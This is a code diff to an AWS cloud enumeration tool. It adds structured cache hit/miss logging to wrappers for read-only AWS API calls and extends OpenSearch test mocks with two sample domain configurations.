|
||||
lightsailTypes "github.com/aws/aws-sdk-go-v2/service/lightsail/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type lightsailClientInterface interface {
|
||||
@@ -69,8 +70,20 @@ func CachedLightsailGetContainerServices(client lightsailClientInterface, accoun
|
||||
cacheKey := fmt.Sprintf("%s-lightsail-GetContainerService-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "lightsail:GetContainerServices",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]lightsailTypes.ContainerService), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "lightsail:GetContainerServices",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
GetInstances, err := client.GetContainerServices(
|
||||
context.TODO(),
|
||||
&lightsail.GetContainerServicesInput{},
|
||||
|
||||
@@ -9,6 +9,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/mq"
|
||||
mqTypes "github.com/aws/aws-sdk-go-v2/service/mq/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type MQClientInterface interface {
|
||||
@@ -26,8 +27,20 @@ func CachedMQListBrokers(client MQClientInterface, accountID string, region stri
|
||||
cacheKey := fmt.Sprintf("%s-mq-ListBrokers-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "mq:ListBrokers",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]mqTypes.BrokerSummary), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "mq:ListBrokers",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
ListBrokers, err := client.ListBrokers(
|
||||
|
||||
+47
-3
@@ -9,6 +9,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/opensearch"
|
||||
openSearchTypes "github.com/aws/aws-sdk-go-v2/service/opensearch/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type OpenSearchClientInterface interface {
|
||||
@@ -23,14 +24,26 @@ func init() {
|
||||
gob.Register(openSearchTypes.DomainStatus{})
|
||||
}
|
||||
|
||||
// create CachedOpenSearchListDomainNames function that uses go-cache and pagination
|
||||
// CachedOpenSearchListDomainNames function that uses go-cache and pagination
|
||||
func CachedOpenSearchListDomainNames(client OpenSearchClientInterface, accountID string, region string) ([]openSearchTypes.DomainInfo, error) {
|
||||
var domains []openSearchTypes.DomainInfo
|
||||
cacheKey := fmt.Sprintf("%s-opensearch-ListDomainNames-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "opensearch:ListDomainNames",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]openSearchTypes.DomainInfo), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "opensearch:ListDomainNames",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
ListDomainNames, err := client.ListDomainNames(
|
||||
context.TODO(),
|
||||
@@ -50,14 +63,31 @@ func CachedOpenSearchListDomainNames(client OpenSearchClientInterface, accountID
|
||||
return domains, nil
|
||||
}
|
||||
|
||||
// create CachedOpenSearchDescribeDomainConfig function that uses go-cache and pagination and supports region option
|
||||
// CachedOpenSearchDescribeDomainConfig function that uses go-cache and pagination and supports region option
|
||||
func CachedOpenSearchDescribeDomainConfig(client OpenSearchClientInterface, accountID string, region string, domainName string) (openSearchTypes.DomainConfig, error) {
|
||||
|
||||
fmt.Printf("CachedOpenSearchDescribeDomainConfig: %s %s %s\n", accountID, region, domainName)
|
||||
|
||||
var DomainConfig openSearchTypes.DomainConfig
|
||||
cacheKey := fmt.Sprintf("%s-opensearch-DescribeDomainConfig-%s-%s", accountID, region, domainName)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "opensearch:DescribeDomainConfig",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"domain": domainName,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.(openSearchTypes.DomainConfig), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "opensearch:DescribeDomainConfig",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"domain": domainName,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
DescribeDomainConfig, err := client.DescribeDomainConfig(
|
||||
context.TODO(),
|
||||
&opensearch.DescribeDomainConfigInput{
|
||||
@@ -78,14 +108,28 @@ func CachedOpenSearchDescribeDomainConfig(client OpenSearchClientInterface, acco
|
||||
return DomainConfig, nil
|
||||
}
|
||||
|
||||
// create CachedOpenSearchDescribeDomain function that uses go-cache and pagination and supports region option
|
||||
// CachedOpenSearchDescribeDomain function that uses go-cache and pagination and supports region option
|
||||
func CachedOpenSearchDescribeDomain(client OpenSearchClientInterface, accountID string, region string, domainName string) (openSearchTypes.DomainStatus, error) {
|
||||
var DomainStatus openSearchTypes.DomainStatus
|
||||
cacheKey := fmt.Sprintf("%s-opensearch-DescribeDomain-%s-%s", accountID, region, domainName)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "opensearch:DescribeDomain",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"domain": domainName,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.(openSearchTypes.DomainStatus), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "opensearch:DescribeDomain",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"domain": domainName,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
DescribeDomain, err := client.DescribeDomain(
|
||||
context.TODO(),
|
||||
&opensearch.DescribeDomainInput{
|
||||
|
||||
@@ -27,8 +27,8 @@ func (m *MockedOpenSearchClient) ListDomainNames(ctx context.Context, input *ope
|
||||
}
|
||||
|
||||
func (m *MockedOpenSearchClient) DescribeDomainConfig(ctx context.Context, input *opensearch.DescribeDomainConfigInput, options ...func(*opensearch.Options)) (*opensearch.DescribeDomainConfigOutput, error) {
|
||||
return &opensearch.DescribeDomainConfigOutput{
|
||||
DomainConfig: &openSearchTypes.DomainConfig{
|
||||
domainConfigMap := map[string]*openSearchTypes.DomainConfig{
|
||||
"domain1": {
|
||||
EngineVersion: &openSearchTypes.VersionStatus{
|
||||
Options: aws.String("OpenSearch-1.1"),
|
||||
Status: &openSearchTypes.OptionStatus{
|
||||
@@ -49,15 +49,63 @@ func (m *MockedOpenSearchClient) DescribeDomainConfig(ctx context.Context, input
|
||||
EnforceHTTPS: aws.Bool(true),
|
||||
},
|
||||
},
|
||||
AdvancedSecurityOptions: &openSearchTypes.AdvancedSecurityOptionsStatus{
|
||||
Options: &openSearchTypes.AdvancedSecurityOptions{
|
||||
Enabled: aws.Bool(true),
|
||||
},
|
||||
},
|
||||
},
|
||||
"domain2": {
|
||||
EngineVersion: &openSearchTypes.VersionStatus{
|
||||
Options: aws.String("OpenSearch-1.1"),
|
||||
Status: &openSearchTypes.OptionStatus{
|
||||
PendingDeletion: aws.Bool(false),
|
||||
},
|
||||
},
|
||||
ClusterConfig: &openSearchTypes.ClusterConfigStatus{
|
||||
Options: &openSearchTypes.ClusterConfig{
|
||||
DedicatedMasterCount: aws.Int32(3),
|
||||
DedicatedMasterEnabled: aws.Bool(true),
|
||||
InstanceCount: aws.Int32(3),
|
||||
WarmCount: aws.Int32(3),
|
||||
WarmEnabled: aws.Bool(true),
|
||||
},
|
||||
},
|
||||
DomainEndpointOptions: &openSearchTypes.DomainEndpointOptionsStatus{
|
||||
Options: &openSearchTypes.DomainEndpointOptions{
|
||||
EnforceHTTPS: aws.Bool(true),
|
||||
},
|
||||
},
|
||||
AdvancedSecurityOptions: &openSearchTypes.AdvancedSecurityOptionsStatus{
|
||||
Options: &openSearchTypes.AdvancedSecurityOptions{
|
||||
Enabled: aws.Bool(false),
|
||||
},
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
return &opensearch.DescribeDomainConfigOutput{
|
||||
DomainConfig: domainConfigMap[*input.DomainName],
|
||||
}, nil
|
||||
}
|
||||
|
||||
func (m *MockedOpenSearchClient) DescribeDomain(ctx context.Context, input *opensearch.DescribeDomainInput, options ...func(*opensearch.Options)) (*opensearch.DescribeDomainOutput, error) {
|
||||
return &opensearch.DescribeDomainOutput{
|
||||
DomainStatus: &openSearchTypes.DomainStatus{
|
||||
DomainName: aws.String("domain1"),
|
||||
Endpoint: aws.String("https://domain1.us-east-1.es.amazonaws.com"),
|
||||
domainStatusMap := map[string]*openSearchTypes.DomainStatus{
|
||||
"domain1": {
|
||||
DomainName: aws.String("domain1"),
|
||||
Endpoint: aws.String("https://domain1.us-east-1.es.amazonaws.com"),
|
||||
ARN: aws.String("arn:aws:es:us-east-1:123456789012:domain/domain1"),
|
||||
AccessPolicies: aws.String(`{\"Version\":\"2012-10-17\",\"Statement\":[{\"Effect\":\"Allow\",\"Principal\":{\"AWS\":\"*\"},\"Action\":[\"es:ESHttpGet\",\"es:ESHttpHead\",\"es:ESHttpPost\"],\"Resource\":\"*\",\"Condition\":{\"IpAddress\":{\"aws:SourceIp\":\"192.168.1.100/32\"}}}]}`),
|
||||
},
|
||||
"domain2": {
|
||||
DomainName: aws.String("domain2"),
|
||||
Endpoint: aws.String("https://domain2.us-east-1.es.amazonaws.com"),
|
||||
ARN: aws.String("arn:aws:es:us-east-1:123456789012:domain/domain2"),
|
||||
AccessPolicies: aws.String(`{\"Version\":\"2012-10-17\",\"Statement\":[{\"Effect\":\"Allow\",\"Principal\":{\"AWS\":\"*\"},\"Action\":[\"es:ESHttpGet\",\"es:ESHttpHead\",\"es:ESHttpPost\"],\"Resource\":\"*\"}]}`),
|
||||
},
|
||||
}
|
||||
|
||||
return &opensearch.DescribeDomainOutput{
|
||||
DomainStatus: domainStatusMap[*input.DomainName],
|
||||
}, nil
|
||||
}
|
||||
@@ -9,6 +9,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/organizations"
|
||||
orgTypes "github.com/aws/aws-sdk-go-v2/service/organizations/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type OrganizationsClientInterface interface {
|
||||
@@ -28,8 +29,18 @@ func CachedOrganizationsListAccounts(client OrganizationsClientInterface, accoun
|
||||
cacheKey := fmt.Sprintf("%s-organizations-ListAccounts", accountID)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "organizations:ListAccounts",
|
||||
"account": accountID,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]orgTypes.Account), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "organizations:ListAccounts",
|
||||
"account": accountID,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
ListAccounts, err := client.ListAccounts(
|
||||
@@ -62,8 +73,18 @@ func CachedOrganizationsDescribeOrganization(client OrganizationsClientInterface
|
||||
cacheKey := fmt.Sprintf("%s-organizations-DescribeOrganization", accountID)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "organizations:DescribeOrganization",
|
||||
"account": accountID,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.(*orgTypes.Organization), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "organizations:DescribeOrganization",
|
||||
"account": accountID,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
DescribeOrganization, err := client.DescribeOrganization(
|
||||
context.TODO(),
|
||||
|
||||
@@ -8,6 +8,7 @@ import (
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/aws-sdk-go-v2/service/rds"
|
||||
rdsTypes "github.com/aws/aws-sdk-go-v2/service/rds/types"
|
||||
"github.com/sirupsen/logrus"
|
||||
|
||||
"github.com/patrickmn/go-cache"
|
||||
)
|
||||
@@ -29,8 +30,20 @@ func CachedRDSDescribeDBInstances(client RDSClientInterface, accountID string, r
|
||||
cacheKey := fmt.Sprintf("%s-rds-DescribeDBInstances-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "rds:DescribeDBInstances",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]rdsTypes.DBInstance), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "rds:DescribeDBInstances",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
DescribeDBInstances, err := client.DescribeDBInstances(
|
||||
context.TODO(),
|
||||
@@ -65,8 +78,20 @@ func CachedRDSDescribeDBClusters(client RDSClientInterface, accountID string, re
|
||||
cacheKey := fmt.Sprintf("%s-rds-DescribeDBClusters-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "rds:DescribeDBClusters",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]rdsTypes.DBCluster), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "rds:DescribeDBClusters",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
DescribeDBClusters, err := client.DescribeDBClusters(
|
||||
context.TODO(),
|
||||
|
||||
@@ -9,6 +9,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/redshift"
|
||||
redshiftTypes "github.com/aws/aws-sdk-go-v2/service/redshift/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type AWSRedShiftClientInterface interface {
|
||||
@@ -26,8 +27,20 @@ func CachedRedShiftDescribeClusters(client AWSRedShiftClientInterface, accountID
|
||||
cacheKey := fmt.Sprintf("%s-redshift-DescribeClusters-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "redshift:DescribeClusters",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]redshiftTypes.Cluster), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "redshift:DescribeClusters",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
DescribeClusters, err := client.DescribeClusters(
|
||||
context.TODO(),
|
||||
|
||||
@@ -9,6 +9,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/route53"
|
||||
route53types "github.com/aws/aws-sdk-go-v2/service/route53/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type AWSRoute53ClientInterface interface {
|
||||
@@ -28,8 +29,18 @@ func CachedRoute53ListHostedZones(client AWSRoute53ClientInterface, accountID st
|
||||
cacheKey := fmt.Sprintf("%s-route53-ListHostedZones", accountID)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "route53:ListHostedZones",
|
||||
"account": accountID,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]route53types.HostedZone), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "route53:ListHostedZones",
|
||||
"account": accountID,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
ListHostedZones, err := client.ListHostedZones(
|
||||
@@ -63,8 +74,20 @@ func CachedRoute53ListResourceRecordSets(client AWSRoute53ClientInterface, accou
|
||||
cacheKey := fmt.Sprintf("%s-route53-ListResourceRecordSets-%s", accountID, hostedZoneID)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "route53:ListResourceRecordSets",
|
||||
"account": accountID,
|
||||
"hostedZoneId": hostedZoneID,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]route53types.ResourceRecordSet), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "route53:ListResourceRecordSets",
|
||||
"account": accountID,
|
||||
"hostedZoneId": hostedZoneID,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
ListResourceRecordSets, err := client.ListResourceRecordSets(
|
||||
|
||||
+51
-4
@@ -10,6 +10,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/s3"
|
||||
s3Types "github.com/aws/aws-sdk-go-v2/service/s3/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type AWSS3ClientInterface interface {
|
||||
@@ -30,10 +31,19 @@ func CachedListBuckets(S3Client AWSS3ClientInterface, accountID string) ([]s3Typ
|
||||
cacheKey := fmt.Sprintf("%s-s3-ListBuckets", accountID)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.Debug("Using cached data for ListBuckets data")
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "s3:ListBuckets",
|
||||
"account": accountID,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]s3Types.Bucket), nil
|
||||
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "s3:ListBuckets",
|
||||
"account": accountID,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
ListBuckets, err := S3Client.ListBuckets(
|
||||
context.TODO(),
|
||||
&s3.ListBucketsInput{},
|
||||
@@ -52,9 +62,20 @@ func CachedGetBucketLocation(S3Client AWSS3ClientInterface, accountID string, bu
|
||||
cacheKey := fmt.Sprintf("%s-s3-GetBucketLocation-%s", accountID, bucketName)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.Debug("Using cached data for GetBucketLocation data")
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "s3:GetBucketLocation",
|
||||
"account": accountID,
|
||||
"bucket": bucketName,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.(string), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "s3:GetBucketLocation",
|
||||
"account": accountID,
|
||||
"bucket": bucketName,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
GetBucketRegion, err := S3Client.GetBucketLocation(
|
||||
context.TODO(),
|
||||
&s3.GetBucketLocationInput{
|
||||
@@ -76,9 +97,22 @@ func CachedGetBucketPolicy(S3Client AWSS3ClientInterface, accountID string, r st
|
||||
cacheKey := fmt.Sprintf("%s-s3-GetBucketPolicy-%s-%s", accountID, r, bucketName)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.Debug("Using cached data for GetBucketPolicy data")
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "s3:GetBucketPolicy",
|
||||
"account": accountID,
|
||||
"region": r,
|
||||
"bucket": bucketName,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.(string), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "s3:GetBucketPolicy",
|
||||
"account": accountID,
|
||||
"region": r,
|
||||
"bucket": bucketName,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
BucketPolicyObject, err := S3Client.GetBucketPolicy(
|
||||
context.TODO(),
|
||||
@@ -103,9 +137,22 @@ func CachedGetPublicAccessBlock(S3Client AWSS3ClientInterface, accountID string,
|
||||
cacheKey := fmt.Sprintf("%s-s3-GetPublicAccessBlock-%s-%s", accountID, r, bucketName)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.Debug("Using cached data for GetPublicAccessBlock data")
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "s3:GetPublicAccessBlock",
|
||||
"account": accountID,
|
||||
"region": r,
|
||||
"bucket": bucketName,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.(*s3Types.PublicAccessBlockConfiguration), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "s3:GetPublicAccessBlock",
|
||||
"account": accountID,
|
||||
"region": r,
|
||||
"bucket": bucketName,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
PublicAccessBlock, err := S3Client.GetPublicAccessBlock(
|
||||
context.TODO(),
|
||||
|
||||
@@ -11,6 +11,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/secretsmanager"
|
||||
secretsmanagerTypes "github.com/aws/aws-sdk-go-v2/service/secretsmanager/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type SecretsManagerClientInterface interface {
|
||||
@@ -30,8 +31,20 @@ func CachedSecretsManagerListSecrets(client SecretsManagerClientInterface, accou
|
||||
cacheKey := fmt.Sprintf("%s-secretsmanager-ListSecrets-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "secretsmanager:ListSecrets",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]secretsmanagerTypes.SecretListEntry), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "secretsmanager:ListSecrets",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
ListSecrets, err := client.ListSecrets(
|
||||
context.TODO(),
|
||||
@@ -66,8 +79,22 @@ func CachedSecretsManagerGetResourcePolicy(client SecretsManagerClientInterface,
|
||||
cacheKey := fmt.Sprintf("%s-secretsmanager-GetResourcePolicy-%s-%s", accountID, region, secretId)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "secretsmanager:GetResourcePolicy",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"secretId": secretId,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.(policy.Policy), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "secretsmanager:GetResourcePolicy",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"secretId": secretId,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
GetResourcePolicy, err := client.GetResourcePolicy(
|
||||
context.TODO(),
|
||||
&secretsmanager.GetResourcePolicyInput{
|
||||
|
||||
+57
-4
@@ -8,6 +8,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/sns"
|
||||
snsTypes "github.com/aws/aws-sdk-go-v2/service/sns/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type AWSSNSClientInterface interface {
|
||||
@@ -29,10 +30,22 @@ func CachedSNSListTopics(SNSClient AWSSNSClientInterface, accountID string, regi
|
||||
cacheKey := "sns-ListTopics-" + accountID + "-" + region
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.Debug("Using cached SNS topics data")
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "sns:ListTopics",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]string), nil
|
||||
}
|
||||
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "sns:ListTopics",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
ListTopics, err := SNSClient.ListTopics(
|
||||
context.TODO(),
|
||||
@@ -72,10 +85,22 @@ func CachedSNSListSubscriptions(SNSClient AWSSNSClientInterface, accountID strin
|
||||
cacheKey := "sns-ListSubscriptions-" + accountID + "-" + region
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.Debug("Using cached SNS subscriptions data")
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "sns:ListSubscriptions",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]string), nil
|
||||
}
|
||||
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "sns:ListSubscriptions",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
ListSubscriptions, err := SNSClient.ListSubscriptions(
|
||||
context.TODO(),
|
||||
@@ -115,10 +140,24 @@ func CachedSNSListSubscriptionsByTopic(SNSClient AWSSNSClientInterface, accountI
|
||||
cacheKey := "sns-ListSubscriptionsByTopic-" + accountID + "-" + region + "-" + topicArn
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.Debug("Using cached SNS subscriptions data")
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "sns:ListSubscriptionsByTopic",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"topicArn": topicArn,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]string), nil
|
||||
}
|
||||
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "sns:ListSubscriptionsByTopic",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"topicArn": topicArn,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
ListSubscriptionsByTopic, err := SNSClient.ListSubscriptionsByTopic(
|
||||
context.TODO(),
|
||||
@@ -157,10 +196,24 @@ func CachedSNSGetTopicAttributes(SNSClient AWSSNSClientInterface, accountID stri
|
||||
cacheKey := "sns-GetTopicAttributes-" + accountID + "-" + region + "-" + topicArn
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.Debug("Using cached SNS topic attributes data")
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "sns:GetTopicAttributes",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"topicArn": topicArn,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.(map[string]string), nil
|
||||
}
|
||||
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "sns:GetTopicAttributes",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"topicArn": topicArn,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
GetTopicAttributes, err := SNSClient.GetTopicAttributes(
|
||||
context.TODO(),
|
||||
&sns.GetTopicAttributesInput{
|
||||
|
||||
+13
-1
@@ -7,6 +7,7 @@ import (
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sqs"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type AWSSQSClientInterface interface {
|
||||
@@ -23,9 +24,20 @@ func CachedSQSListQueues(SQSClient AWSSQSClientInterface, accountID string, regi
|
||||
cacheKey := "sqs-ListQueues-" + accountID + "-" + region
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.Debug("Using cached SQS queues data")
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "sqs:ListQueues",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]string), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "sqs:ListQueues",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
